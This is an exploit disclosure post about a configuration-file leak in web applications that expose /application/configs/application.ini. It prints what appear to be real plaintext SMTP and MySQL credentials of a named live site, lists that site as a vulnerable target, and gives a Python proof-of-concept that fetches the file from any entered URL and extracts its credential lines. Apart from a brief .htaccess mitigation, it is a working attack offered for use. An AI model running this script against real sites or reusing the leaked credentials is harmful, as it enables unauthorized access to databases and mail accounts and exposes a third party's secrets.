The username and password of the database may be obtained trough the "application.ini" file. This is going to have an impact on confidentiality, integrity, and availability. The configuration file unintentionally stored in /application/configs/application.ini HTTP requests consisting of a single character will cause the software to disclose sensitive configuration information, including the password/database to the administrative web interface. This file is installed, by default, with world readable and possibly world writeable permissions enabled. This may have some potentially serious consequences as the configuration file also stores password information in plain text. This issue occurs because access controls on configuration files are not properly set. An attacker can exploit this issue to retrieve potentially sensitive information. Attackers can access config file via URL request. This may aid in further attacks. The access to the /configs directory should be restricted with an adequate countermeasure by the use of a .htaccess file. * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. ##################################################################### # Database Configuration File Disclosure Exploit : ******************************************* /application/configs/application.ini Information : ************* ;configuracion de correo email.from = "contacto@cato5.cl" email.plantillas.dir = APPLICATION_PATH "/emails/"; email.transportOptionsSmtp.host = "mail.cato5.cl" email.transportOptionsSmtp.auth = "login" email.transportOptionsSmtp.username = "contacto@cato5.cl" email.transportOptionsSmtp.password = "l3nt0yTi3rn0" email.transportOptionsSmtp.ssl = "ssl" email.transportOptionsSmtp.port = 465 resources.multidb.db1.adapter = "PDO_MYSQL" resources.multidb.db1.host = localhost resources.multidb.db1.dbname = cato5cl_v2cato5cl resources.multidb.db1.username = cato5cl_v2cato5 resources.multidb.db1.password = yD7e4QaVzA+8BKuY resources.multidb.db1.driver_options.1002 = "SET NAMES utf8" resources.multidb.db1.default = true [development : production] resources.multidb.db1.host = 127.0.0.1 resources.multidb.db1.dbname = cato5local resources.multidb.db1.username = root resources.multidb.db1.password = resources.multidb.db1.driver_options.1002 = "SET NAMES utf8" resources.multidb.db1.default = true # Example Vulnerable Site : ************************* [+] cato5.cl/application/configs/application.ini Exploit - Proof of Concept : ************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/application/configs/application.ini" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ##################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #####################################################################
